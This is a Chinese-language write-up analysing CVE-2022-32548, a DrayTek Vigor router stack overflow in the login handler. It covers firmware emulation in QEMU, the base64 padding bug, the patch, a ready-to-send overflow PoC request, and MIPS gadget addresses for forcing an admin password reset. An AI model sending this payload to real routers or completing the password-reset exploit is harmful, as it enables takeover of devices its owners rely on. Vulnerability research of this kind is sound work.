CVE-2022-32548 DrayTek 路由器栈溢出

漏洞描述

/cgi-bin/wlogin.cgi 中通过用户名字段存在未经身份验证的 DrayTek 远程代码执行漏洞

影响范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Vigor3910 < 4.3.1.1
Vigor1000B < 4.3.1.1
Vigor2962 系列 < 4.3.1.1
Vigor2927 系列 < 4.4.0
Vigor2927 LTE 系列 < 4.4.0
Vigor2915 系列 < 4.3.3.2
Vigor2952 / 2952P < 3.9.7.2
Vigor3220 系列 < 3.9.7.2
Vigor2926 系列 < 3.9.8.1
Vigor2926 LTE 系列 < 3.9.8.1
Vigor2862 系列 < 3.9.8.1
Vigor2862 LTE 系列 < 3.9.8.1
Vigor2620 LTE 系列 < 3.9.8.1
VigorLTE 200n < 3.9.8.1
Vigor2133 系列 < 3.9.6.4
Vigor2762 系列 < 3.9.6.4
Vigor165 < 4.2.4
Vigor166 < 4.2.4
Vigor2135 系列 < 4.4.2
Vigor2765 系列 < 4.4.2
Vigor2766 系列 < 4.4.2
Vigor2832 < 3.9.6
Vigor2865 系列 < 4.4.0
Vigor2865 LTE 系列 < 4.4.0
Vigor2866 系列 < 4.4.0
Vigor2866 LTE 系列 < 4.4.0

环境搭建

检查 firmware 目录下的启动脚本,发现 qemu 启动时存在一个非标准参数 -dtb DrayTek,猜测是开发者修改过 QEMU 源代码,自行添加的参数。

Draytek 提供设备的 GPL 代码,下载 3910 型号的 GPL 代码分析确定,开发者为 QEMU 添加了一些新功能,用来支持 drayos 运行,所以我们需要编译这份 GPL 代码。

1
2
3
4
解压里面的qemu源码,然后编译
tar -xvjf qemu-2.12.1.tar.bz2
./configure --enable-kvm --enable-debug --target-list=aarch64-softmmu
make

编译好之后得到需要的 qemu-system-aarch64,接下来要修改原始的启动脚本,适配本地环境。

img

宿主机需要新添加两张网卡,修改 network.sh 脚本,将网卡名称替换到脚本中

将编译完成qemu-system-aarch64拷贝到固件解包的文件系统中,目标路径cpio-root/firmware

创建网卡,配置IP

1
2
3
4
sudo tunctl -t ens38 -u root
sudo ifconfig ens38 192.168.1.10/24
sudo tunctl -t ens39 -u root
sudo ifconfig ens39 192.168.1.11/24

在路径cpio-root/firmware创建network.shmyrun.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/bin/bash

iflan=ens38
ifwan=ens39
mylanip="192.168.1.10"

brctl delbr br-lan
brctl delbr br-wan

ip link add br-lan type bridge
ip tuntap add qemu-lan mode tap
brctl addif br-lan $iflan
brctl addif br-lan qemu-lan
ip addr flush dev $iflan
ifconfig br-lan $mylanip
ifconfig br-lan up
ifconfig qemu-lan up
ifconfig $iflan up

ip link add br-wan type bridge
ip tuntap add qemu-wan mode tap
brctl addif br-wan $ifwan
brctl addif br-wan qemu-wan
ip addr flush dev $ifwan
ifconfig br-lan $mylanip
ifconfig br-wan up
ifconfig qemu-wan up
ifconfig $ifwan up

brctl show

#for speed test
ethtool -K $iflan gro off
ethtool -K $iflan gso off

ethtool -K $ifwan gro off
ethtool -K $ifwan gso off

ethtool -K qemu-lan gro off
ethtool -K qemu-lan gso off

ethtool -K qemu-wan gro off
ethtool -K qemu-wan gso off


#for telnet from linux to drayos 192.168.1.1
ethtool -K br-lan tx off

然后构造启动脚本,首先按照参考文章的提示,修改自带的启动脚本,当尝试启动文中提到的版本(4.3.1)时一切正常,但启动新版时会出现错误

1
2
3
4
5
6
7
8
9
10
11
12
[qemu_ivshmem_write_internal:2729] already wait for more than 100ms, check host.

## Drv software rebooting : cmd=1, fun=check_max_portmap_sessions, line=31874 ##

dump_backtrace: fp:0x467ffe60, pc:0x4064fc48
Call trace: 0x4064fc48 0x406fac58 0x404757a8 0x407bb120 0x407dfec4 0x406fbe84 0x406fb304 0x406fb250 0x40000c08 0x40000078 0x40000040
reboot handler not init yet
Init MAX session 300000
portmap addr_range 0x1c9c380 > exmem_portmap_end_addr 0x0

!!! NULL, malloc Portmap memory fail
dray_nat_allocate_memory : malloc memory fail

通过逆向分析发现和 portmap 内存有关系,而这块内存又和参数 memsize 有关,因此尝试将 memsize 值修改为 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/bin/bash
# 1. do "fw_setenv purelinux 1" first , then reboot
# 2. do setup_qemu_linux.sh (default P3 as WAN, P4 as LAN, for both 1Gbps connection only)
# 3. remember to recover to normal mode by "fw_setenv purelinux 0"

rangen() {
printf "%02x" `shuf -i 1-255 -n 1`
}


rangen1() {
printf "%x" `shuf -i 1-15 -n 1`
}

wan_mac(){
idx=$1
printf "%02x\n" $((0x${C}+0x$idx)) | tail -c 3 # 3 = 2 digit + 1 terminating character
}

A=$(rangen); B=$(rangen); C=$(rangen);
LAN_MAC="00:1d:aa:${A}:${B}:${C}"

if [ ! -p serial0 ]; then
mkfifo serial0
fi
if [ ! -p serial1 ]; then
mkfifo serial1
fi

platform_path="./platform"
echo "x86" > $platform_path
enable_kvm_path="./enable_kvm"
echo "kvm" > $enable_kvm_path

cfg_path="./magic_file"

echo "GCI_SKIP" > gci_magic

mkdir -p ../data/uffs
touch ../data/uffs/v3910_ram_flash.bin
uffs_flash="../data/uffs/v3910_ram_flash.bin"

echo "1" > memsize

(sleep 20 && ethtool -K qemu-lan tx off) &

model="./model"
echo "3" > ./model

rm -rf ./app && mkdir -p ./app/gci
GCI_PATH="./app/gci"
GCI_FAIL="./app/gci_exp_fail"
GDEF_FILE="$GCI_PATH/draycfg.def"
GEXP_FLAG="$GCI_PATH/EXP_FLAG"
GEXP_FILE="$GCI_PATH/draycfg.exp"
GDEF_FILE_ADDR="0x4de0000"
GEXP_FLAG_ADDR="0x55e0000"
GEXP_FILE_ADDR="0x55e0010"

echo "0#" > $GEXP_FLAG
echo "19831026" > $GEXP_FILE
echo "GCI_SKIP" > $GDEF_FILE

SHM_SIZE=16777216
./qemu-system-aarch64 -M virt,gic_version=3 -cpu cortex-a57 -m 1024 -L ../usr/share/qemu \
-kernel ./vqemu/sohod64.bin $serial_option -dtb DrayTek \
-nographic $gdb_serial_option $gdb_remote_option \
-device virtio-net-pci,netdev=network-lan,mac=${LAN_MAC} \
-netdev tap,id=network-lan,ifname=qemu-lan,script=no,downscript=no \
-device virtio-net-pci,netdev=network-wan,mac=00:1d:aa:${A}:${B}:$(wan_mac 1) \
-netdev tap,id=network-wan,ifname=qemu-wan,script=no,downscript=no \
-device virtio-serial-pci -chardev pipe,id=ch0,path=serial0 \
-device virtserialport,chardev=ch0,name=serial0 \
-device loader,file=$platform_path,addr=0x25fff0 \
-device loader,file=$cfg_path,addr=0x260000 \
-device loader,file=$uffs_flash,addr=0x00be0000 \
-device loader,file=$enable_kvm_path,addr=0x25ffe0 \
-device loader,file=memsize,addr=0x25ff67 \
-device loader,file=$model,addr=0x25ff69 \
-device loader,file=$GDEF_FILE,addr=$GDEF_FILE_ADDR \
-device loader,file=$GEXP_FLAG,addr=$GEXP_FLAG_ADDR \
-device loader,file=$GEXP_FILE,addr=$GEXP_FILE_ADDR \
-device nec-usb-xhci,id=usb \
-device ivshmem-plain,memdev=hostmem \
-object memory-backend-file,size=${SHM_SIZE},share,mem-path=/dev/shm/ivshmem,id=hostmem

启动时先执行 network.sh,随后执行 myrun.sh,访问 192.168.1.1 即可看到登录页面

img

默认登录密码:admin/admin

img

端口服务扫描

img

连接telnet,登录用户名/密码:admin/adminweb端登录密码

img

漏洞分析

安全保护-Vigor3910_3972

img

根据抓包得到的信息(字符串)去定位函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /cgi-bin/wlogin.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/weblogin.htm
Upgrade-Insecure-Requests: 1

aa=YWRtaW4%3D&ab=YWRtaW4%3D&sslgroup=---&obj3=&obj4=&obj5=&obj6=&obj7=&sFormAuthStr=cKTWntEaeAwnWJZ

漏洞点存在于base64_decode中,第一个参数可控是base64编码后的数据,第二个参数是将第一个参数通过base64解码后保存的位置,第三个参数是限制解码后的长度,防止溢出,由于长度限制可以绕过导致溢出

img

分析base64_codesub_400C07BC获取base64解码后的长度和限制长度校验,但获取解码后的长度逻辑存在问题可绕过

img

前提小知识

====“四个等于号在base64解码后为空,不影响原本值

比如:YWRtaW4=解码adminYWRtaW4=====解码admin

知道前提小知识后,再跟进sub_400C07BC函数,在base64编码后的字符串后添加”====“就会使返回后的解码长度变小,实际解码后的长度不变,导致了栈溢出漏洞

1
2
3
4
5
6
例:
a 编码后 YQ== 长度 4 解码长度3*(4>>2)-2(俩个等于)= 1
ab 编码后 YWI= 长度 4 解码长度3*(4>>2)-1(一个等于)= 2
添加四个等号
ab 编码后 YWI===== 长度 8 解码长度3*(8>>2)-5(五个等于)= 1
这个时候就出现了问题,计算出的解码后的长度小于解码后的实际长度,造成漏洞

img

补丁分析-V4.3.2.6

新增一个变量v12记录解码后的字符串拷贝到第二个参数的数量,并与限制最大长度最比较,修复了漏洞

img

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload:'A'*300+(300-84)*"===="

POST /cgi-bin/wlogin.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/weblogin.htm
Upgrade-Insecure-Requests: 1

aa=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D&ab=YQ%3D%3D&sslgroup=---&obj3=&obj4=&obj5=&obj6=&obj7=&sFormAuthStr=nT8iAiAThrdwiQm

img

img

重置密码

由于系统是Rtos系统,无Linux shell,所以打重置密码操作,这里只放一个固件的重置密码分析

Vigor2912_v3.8.12版本

该程序为mips32小端rtos系统,无Linux shell

程序溢出点sub_807766EC

img

重置密码位置sub_801D0BE4

img

重置密码位置二sub_80607864,传参在if判断前面导致if判断不可控

img

1
2
3
4
5
6
ROM:80607874                 li      $v1, 0x31  # '1'
ROM:80607878 addiu $a0, $s1, -0x6760
ROM:8060787C addiu $a1, $s0, (aAdmin_0 - 0x80990000) # "admin"
ROM:80607880 bne $a2, $v1, loc_80607848
ROM:80607884 lui $s2, 0x81BA
ROM:80607888 jal sub_80703080

保存配置重启sub_80714A64

img

img

Exp

1
完整EXP就交给读者了,哈哈哈

SSLVPN添加用户

当只可以访问SSLVPN的时候,重置密码就没作用了,这个时候要创建一个SSLVPN用户

SSLVPN配置

SSLVPN Web端配置

SSL VPN >> General Setup

img

SSL VPN >> User Account

img

SSL VPN >> Remote Dial-in User

img

SSL VPN >> User Group

img

SSL VPN >> SSL Portal Online User

img

SSLVPN客户端配置

image-20250223220017343

image-20250223220035402

连接成功

image-20250223220107056

EXP

1
这个EXP也交给读者了

总结

arm64架构-Linux系统-有shell

1
控制程序pc跳转到重置密码的位置之后,执行后跳转到重启位置就可以了,就算程序没有跳到重启位置但重置密码已经执行,后面崩溃后自动重启不影响密码重置

mips架构-Rtos系统-无Linux shell

1
2
3
4
5
6
7
8
9
mips架构程序在利用栈溢出重置密码时,重置后需要跳转到一个位置,保证线程仍在运行,等待程序刷新达成重置密码的效果

j指令无法陷入死循环,原因未知
gadget2保证程序陷入死循环 失败
ROM:8002EF70 j loc_8002EF70
gadget2保存配置重启 成功
ROM:80714C1C jal sub_80703114 # 重启
$s2=0x808B4000可读内存
ROM:80714C34 lw $a0, 0xC($s2) # 崩溃

下面有俩个脚本,第一个脚本是ida python脚本,获取mips架构的所有j指令以及所在的地址,第二个脚本查找j指令跳转到自身位置的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
"""
import idautils
import idaapi
import idc

def list_j_instructions():
# 遍历所有的函数
for func in idautils.Functions():
func_name = idc.get_func_name(func)
# 获取函数的开始和结束地址
start = idc.get_func_attr(func, idc.FUNCATTR_START)
end = idc.get_func_attr(func, idc.FUNCATTR_END)

# 遍历函数中的每条指令
addr = start
while addr < end and addr != idc.BADADDR:
# 获取当前指令的汇编字符串
asm_str = idc.generate_disasm_line(addr, 0)
# 如果当前指令是j指令,且不是jal或jr指令,则输出
if asm_str.startswith("j ") and not asm_str.startswith("jal ") and not asm_str.startswith("jr "):
print(f"{hex(addr)}\t{asm_str}")
# 移动到下一条指令
addr = idc.next_head(addr, end)

# 运行列表生成函数
list_j_instructions()

"""

# coding=utf-8
def check_and_print(line, delimiter):
parts = line.strip().split(delimiter)
if len(parts) >= 2:
prefix = parts[0].strip().lower()
suffix = parts[1].strip().lower()
if prefix in suffix:
print(line)

def main(filename, delimiter):
try:
with open(filename, 'r') as file:
for line in file:
check_and_print(line, delimiter)
except FileNotFoundError:
print("File not found:", filename)

if __name__ == "__main__":
filename = "output.txt" # 修改为你的文件路径
delimiter = "j" # 修改为你的分隔符
main(filename, delimiter)

路由器自带安全策略

限制输入密码次数,效果:当用户连续输入密码错三次后,600秒之内无法访问目标

img

sslvpn用户名不能是admin

参考链接

https://bestwing.me/CVE-2022-32548-DrayTeck-BufferOverflow.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32548